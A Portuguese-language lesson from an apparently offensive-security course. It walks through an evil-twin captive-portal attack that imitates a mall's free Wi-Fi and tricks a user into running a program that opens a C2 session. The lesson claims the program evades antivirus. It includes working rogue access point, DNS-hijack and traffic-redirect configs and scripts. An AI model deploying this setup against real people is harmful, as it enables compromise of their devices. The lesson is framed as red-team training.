Dando continuidade à linha prática do Curso Jaguar, entramos agora em um dos vetores mais utilizados em operações reais de intrusão: a engenharia social aplicada a redes públicas, com ênfase na fase de entrega. O objetivo principal aqui não é explorar falhas técnicas complexas, mas sim explorar o fator humano — a previsibilidade do comportamento do usuário quando exposto a ambientes controlados e interfaces familiares.
A ideia central foi criar uma simulação de ambiente com aparência legítima, replicando um Wi-Fi gratuito de shopping — o fictício NetCatShopping.
O cenário envolve um cliente (Ricardo) com um notebook Windows 11 na praça de alimentação, navegando entre redes Wi-Fi disponíveis. O atacante, posicionado nas redondezas, levanta uma rede falsa com o mesmo nome da original, utilizando um adaptador Alfa AC1900 com suporte ao modo AP. Ambas as redes (a legítima e a falsa) exigem autenticação por captive portal, algo comum em lugares públicos. O diferencial está no design visualmente idêntico ao original: logo profissional, domínio semelhante (netcatshopping.com), botão de “Fazer login” e uma etapa falsa de “verificação de compatibilidade” — tudo pensado para não gerar suspeitas.
Essa abordagem mostra como a entrega do pacote pode ser bem-sucedida apenas pela indução da ação do usuário. Ricardo, focado em se conectar rapidamente, ignora sinais de alerta como certificado inválido ou URL incomum, e segue o fluxo natural da interface — clicando e executando um processo.
A execução desse processo estabelece a comunicação com um servidor C2 (Command & Control), o que dá ao atacante controle sobre o sistema da vítima, mesmo sem explorar nenhuma falha técnica do sistema operacional.
O laboratório foi montado com três máquinas:
Ubuntu com adaptador Alfa AC1900, configurado como Access Point;
Windows 11 como cliente, com adaptador TP-Link Archer T2U;
Kali Linux como servidor C2, controlando a sessão após a conexão.
A arquitetura é simples, mas extremamente eficaz. O sinal mais forte da rede falsa aumenta a probabilidade de ser escolhida. O captive portal é o ponto de entrada — uma técnica de engenharia social disfarçada de procedimento técnico.
O que torna essa simulação poderosa é a ausência de “força bruta” ou exploração de vulnerabilidades. O que está sendo explorado é o comportamento humano. O software entregue foi testado em ambiente real com o antivírus Kaspersky (da aula 134) e não foi detectado — justamente por sua estrutura leve, aparência legítima e execução sutil. Este tipo de entrega se encaixa em técnicas modernas de evasão, onde o malware se disfarça de ferramenta comum ou procedimento confiável, passando despercebido tanto por usuários quanto por mecanismos heurísticos.
Esse módulo não apenas mostra como construir o ambiente e executar a técnica, mas reforça lições importantes para profissionais de segurança:
Usuários tendem a confiar no nome da rede e na aparência da interface;
A verificação de domínios e certificados ainda é negligenciada;
O vetor de entrega bem planejado elimina a necessidade de invasão direta;
O controle do ambiente de rede pode ser suficiente para ganhar acesso a um sistema.
Essa técnica é amplamente usada em campanhas de Red Team, testes de intrusão físicos e operações de inteligência ofensiva — por isso, entender como ela funciona na prática é essencial tanto para quem defende quanto para quem audita.
Embora o módulo de Wi-Fi ainda não tenha começado oficialmente, esta etapa serve como introdução prática ao tema, abordando a importância do hardware compatível com modo AP e da manipulação de ambiente para fins de demonstração.
Atualizações:
sudo apt update && sudo apt install -y \ hostapd \ dnsmasq \ apache2 \ php \ libapache2-mod-php \ iptables \ net-tools |
hostapd.conf:
interface=wlx00c0cab2b50c driver=nl80211 ssid=NetCat_Shopping_Free_WiFi hw_mode=g channel=11 ieee80211n=1 ignore_broadcast_ssid=0 auth_algs=1 wmm_enabled=0 |
dnsmasq.conf:
no-resolv interface=wlx00c0cab2b50c dhcp-range=10.0.0.10,10.0.0.100,12h dhcp-option=3,10.0.0.1 dhcp-option=6,10.0.0.1 address=/#/10.0.0.1 log-queries log-dhcp |
auto-configura.sh:
#!/bin/bash echo "[+] Encerrando processos antigos..." pkill dnsmasq pkill hostapd echo "[+] Configurando interface..." ip link set wlx00c0cab2b50c down ip addr flush dev wlx00c0cab2b50c iw dev wlx00c0cab2b50c set type __ap ip link set wlx00c0cab2b50c up ip addr add 10.0.0.1/24 dev wlx00c0cab2b50c echo "[+] Iniciando hostapd..." hostapd configuração/hostapd.conf -B echo "[+] Iniciando dnsmasq..." dnsmasq -C configuração/dnsmasq.conf echo "[+] Configurando redirecionamentos..." iptables --flush iptables -t nat --flush iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 80 iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.0.0.1:80 iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:80 iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE echo "[+] Criando arquivos de verificação Microsoft..." echo "OK" > /var/www/html/connecttest.txt echo "OK" > /var/www/html/ncsi.txt echo "<meta http-equiv='refresh' content='0; url=/' />" > /var/www/html/redirect.html echo "[+] Ativando mod_rewrite..." a2enmod rewrite systemctl restart apache2 echo "[✓] Wi-Fi falso ativo como NetCat_Shopping_Free_WiFi" |
liberar.sh:
#!/bin/bash echo "[+] Limpando regras do iptables..." iptables -F iptables -t nat -F echo "[+] Restaurando NAT e roteamento..." iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE iptables -A FORWARD -i wlx00c0cab2b50c -o ens33 -j ACCEPT iptables -A FORWARD -i ens33 -o wlx00c0cab2b50c -m state --state RELATED,ESTABLISHED -j ACCEPT echo 1 > /proc/sys/net/ipv4/ip_forward echo "[+] Removendo hijack de DNS (address=/#/10.0.0.1)..." DNSMASQ_CONFIG="/home/netcattest/captive-portals/configuração/dnsmasq.conf" if grep -q "^address=/#/10.0.0.1" "$DNSMASQ_CONFIG"; then sed -i '/^address=\/#\/10.0.0.1$/d' "$DNSMASQ_CONFIG" echo "[✓] Linha removida com sucesso." else echo "[i] Linha já não existe. Nada a fazer." fi echo "[+] Finalizando dnsmasq antigo..." pkill dnsmasq sleep 1
echo "[+] Reiniciando dnsmasq com DNS liberado..." dnsmasq -C "$DNSMASQ_CONFIG" & sleep 1 echo "[✓] Internet liberada para os dispositivos conectados!" |
Editar /etc/apache2/apache2.conf:
<Directory /var/www/> AllowOverride All </Directory> |